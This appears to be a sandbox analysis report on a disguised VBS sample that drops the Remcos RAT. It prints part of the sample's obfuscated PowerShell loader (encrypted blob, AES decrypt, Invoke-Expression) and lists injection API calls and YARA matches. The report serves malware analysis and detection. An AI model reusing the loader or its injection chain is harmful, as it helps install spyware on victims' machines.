'+'CnIAiyJ4w4PDxrjYBTpE+kCMXAi0n0WFrEwTQqO6Ll9vCemso5/Wu4WU8DFicwqoQGgHUNsDgf18ada181Zl+9aIMRyGbBhOQL1xtRLUPEYoMibGKdW5HX/pyEQS0Jw3Vh2+CYHtXZW4mAXpPVkuI6gUlIz8DEsOP8YwWP+kL3LpnXUvoD/qBKfflwTqLdaSslAUZJBizi2g2Z8nGQwpbShstgk8iXwe1n31tDVYVkp3T5T5WY1HmUD74K+YmOudrHG5Myz3duSqcna3IjfjlEbg/ZIO/KCvQGjgfJjV8ugk/Yy2P5Oa+5QFOgc8iixUoiNIoPAYztidKVOOGmbgFMbkku0XGVqmJjKcyMtEJtArogT9aYZx/ed96FLgWK+okfu0GPY3zgarb0LJ0UOULymAYnqJJj3ofVS7De8JjcTEqBknfr/caOlBiLhsYNQWSOgsDhrRvf5YYzMpM83vqh06V2szJv2yAB9LsAHIGxJWtU+c0ovHZ5Vdqtl/xa+xpgCscC3s+9s4OttMJQD+Y6OgggjtZYrP3PNltGTuGXGV6FdDehpSU/xdy/8GAxcGUjH9Mr8gb130Pu+0YBW9HdBQ2iWvdVhvMv9Qexc/zgzM2wKPrSh6KwTAbvQCmsP7v0n0diE/lfStsBI95daYr1R09j361KgVwHJfGtSYJKTiZxk3Kjr8ned9cTP7Hr1sIs66dD0GkNgVgIBM3hQi4l/JbuLztLdOqUSCMtPOJbMVvd+MpGtoXPGCTnJjImLTYVVP67C5k3Tf8ib1O6pKQeQcxhQ5hyr1qq3EQ0hJl5ZNCjy/SUT8QdLtfUcum3xRlxAeH032MIpclIzJhwFgmOsJsKiJLds99V3vTPgCXZZnxnNS2du/73NT4UYFNd4J7+I54BTGng1g4J6A5nhvO9KkoFS0c0denf7crIdeMf7pSj0inJztc2aRCT3AEJT3zVJwCBYKOYKPppt5njp0JLB5aB1OBZOO8YTYn1Zek16QtXF/UDhcFSHjS/B3tfXkD2tRnhujolV+Fes7ISTg3tPOFFvRigpQFL4IgLPiP2k7alWxEZHAX+W9FTNKh054AIMuEYzSP0JTVG2VJBq1OAfoQjhBvwQGKAAzRNd+6L+lgQp6ASIjm8tteW0NYUDIsW5x5Js0LElEjrFSiSmbujrdPEw/2oL5TaVIPCWAWwofdzk+coQ0nI1BV4Ecz4/ITbC8RsV1s7k18zvJwByHMIMM9IrxaprgzKSCaODhTKxF53rNwycY7cipt+8OD/N5OYtYZcvj7SdQKqL5DqbVs23F23QxJW9fAyZGdFz8Roqgg9TRDb2FyYfFHPkwCgRN8f9lD4F+Xjt70yId/tbDb3DUwEzhVgMNSBmOaW6o9DawkzEHDJcdtOzPNSKtye26n8CIG+NRXD0lhN5RBg3MLzMew==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process Stats: CPU usage > 49%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004180EF GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,CreateProcessW,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtCreateSection,NtUnmapViewOfSection,NtMapViewOfSection,VirtualFree,NtClose,TerminateProcess,GetModuleHandleA,GetProcAddress,GetCurrentProcess,NtMapViewOfSection,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,VirtualFree,GetCurrentProcess,NtUnmapViewOfSection,NtClose,TerminateProcess,GetLastError,	3_2_004180EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004132D2 OpenProcess,NtQueryInformationProcess,GetCurrentProcess,DuplicateHandle,GetFinalPathNameByHandleW,CloseHandle,CreateFileMappingW,MapViewOfFile,GetFileSize,UnmapViewOfFile,CloseHandle,CloseHandle,CloseHandle,	3_2_004132D2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041BB09 OpenProcess,NtSuspendProcess,CloseHandle,	3_2_0041BB09
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041BB35 OpenProcess,NtResumeProcess,CloseHandle,	3_2_0041BB35
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0040DD85 memset,CreateFileW,NtQuerySystemInformation,FindCloseChangeNotification,GetCurrentProcessId,_wcsicmp,_wcsicmp,_wcsicmp,OpenProcess,GetCurrentProcess,DuplicateHandle,memset,CloseHandle,_wcsicmp,CloseHandle,	4_2_0040DD85
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00401806 NtdllDefWindowProc_W,	4_2_00401806
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_004018C0 NtdllDefWindowProc_W,	4_2_004018C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_004016FD NtdllDefWindowProc_A,	5_2_004016FD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_004017B7 NtdllDefWindowProc_A,	5_2_004017B7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00402CAC NtdllDefWindowProc_A,	7_2_00402CAC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00402D66 NtdllDefWindowProc_A,	7_2_00402D66

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_004167B4 ExitWindowsEx,LoadLibraryA,GetProcAddress,

3_2_004167B4

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0043E0CC	3_2_0043E0CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041F0FA	3_2_0041F0FA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00454159	3_2_00454159
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00438168	3_2_00438168
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004461F0	3_2_004461F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0043E2FB	3_2_0043E2FB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0045332B	3_2_0045332B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0042739D	3_2_0042739D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004374E6	3_2_004374E6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0043E558	3_2_0043E558
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00438770	3_2_00438770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004378FE	3_2_004378FE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00433946	3_2_00433946
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0044D9C9	3_2_0044D9C9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00427A46	3_2_00427A46
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041DB62	3_2_0041DB62
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00427BAF	3_2_00427BAF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00437D33	3_2_00437D33
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00435E5E	3_2_00435E5E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00426E0E	3_2_00426E0E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0043DE9D	3_2_0043DE9D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00413FCA	3_2_00413FCA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00436FEA	3_2_00436FEA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_10017194	3_2_10017194
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_1000B5C1	3_2_1000B5C1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0044B040	4_2_0044B040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0043610D	4_2_0043610D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00447310	4_2_00447310
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0044A490	4_2_0044A490
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0040755A	4_2_0040755A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0043C560	4_2_0043C560
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0044B610	4_2_0044B610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0044D6C0	4_2_0044D6C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_004476F0	4_2_004476F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0044B870	4_2_0044B870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0044081D	4_2_0044081D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00414957	4_2_00414957
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_004079EE	4_2_004079EE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00407AEB	4_2_00407AEB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0044AA80	4_2_0044AA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00412AA9	4_2_00412AA9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00404B74	4_2_00404B74
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00404B03	4_2_00404B03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0044BBD8	4_2_0044BBD8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00404BE5	4_2_00404BE5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00404C76	4_2_00404C76
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00415CFE	4_2_00415CFE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00416D72	4_2_00416D72
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00446D30	4_2_00446D30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00446D8B	4_2_00446D8B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00406E8F	4_2_00406E8F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00405038	5_2_00405038
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_0041208C	5_2_0041208C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_004050A9	5_2_004050A9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_0040511A	5_2_0040511A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_0043C13A	5_2_0043C13A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_004051AB	5_2_004051AB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00449300	5_2_00449300
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_0040D322	5_2_0040D322
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_0044A4F0	5_2_0044A4F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_0043A5AB	5_2_0043A5AB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00413631	5_2_00413631
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00446690	5_2_00446690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_0044A730	5_2_0044A730
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_004398D8	5_2_004398D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_004498E0	5_2_004498E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_0044A886	5_2_0044A886
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_0043DA09	5_2_0043DA09
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00438D5E	5_2_00438D5E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00449ED0	5_2_00449ED0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_0041FE83	5_2_0041FE83
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00430F54	5_2_00430F54
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_004050C2	7_2_004050C2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_004014AB	7_2_004014AB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00405133	7_2_00405133
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_004051A4	7_2_004051A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00401246	7_2_00401246
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0040CA46	7_2_0040CA46
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00405235	7_2_00405235
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_004032C8	7_2_004032C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00401689	7_2_00401689
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00402F60	7_2_00402F60

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00434E10 appears 54 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 004169A7 appears 87 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 004165FF appears 35 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00422297 appears 42 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00402093 appears 50 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00434770 appears 41 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 0044DB70 appears 41 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00401E65 appears 35 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00444B5A appears 37 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00413025 appears 79 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00416760 appears 69 times

Source: screensimplethingstohandlecream.gIF.vbs

Initial sample: Strings found which are bigger than 50

Source: 3.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 3.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 3.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 1.2.powershell.exe.1f163071700.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 1.2.powershell.exe.1f163071700.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 1.2.powershell.exe.1f163071700.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 3.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 3.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 3.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 1.2.powershell.exe.1f163071700.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 1.2.powershell.exe.1f163071700.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 1.2.powershell.exe.1f163071700.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 00000001.00000002.1760253899.000001F161F90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 00000003.00000002.2928318861.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 00000003.00000002.2928318861.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 00000003.00000002.2928318861.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 00000001.00000002.1760253899.000001F162D9C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: Process Memory Space: powershell.exe PID: 6744, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: Process Memory Space: powershell.exe PID: 6744, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: RegAsm.exe PID: 1344, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.rans.phis.troj.spyw.expl.evad.winVBS@14/7@2/4

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_004182CE GetLastError,FormatMessageW,FormatMessageA,LocalFree,??3@YAXPAX@Z,

4_2_004182CE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00417952 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,		3_2_00417952
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00410DE1 GetCurrentProcess,GetLastError,GetProcAddress,GetProcAddress,LookupPrivilegeValueA,GetProcAddress,AdjustTokenPrivileges,FindCloseChangeNotification,		7_2_00410DE1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_00418758 GetDiskFreeSpaceW,GetDiskFreeSpaceA,??3@YAXPAX@Z,

4_2_00418758

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_0040F474 GetModuleFileNameW,CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,CloseHandle,

3_2_0040F474

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_0041B4A8 FindResourceA,LoadResource,LockResource,SizeofResource,

3_2_0041B4A8

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_0041AA4A OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,

3_2_0041AA4A

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\json[1].json

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Mutant created: \Sessions\1\BaseNamedObjects\Rmc-F4JFYD
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6108:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3q0gvrle.w22.ps1

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\screensimplethingstohandlecream.gIF.vbs"

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

System information queried: HandleInformation

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

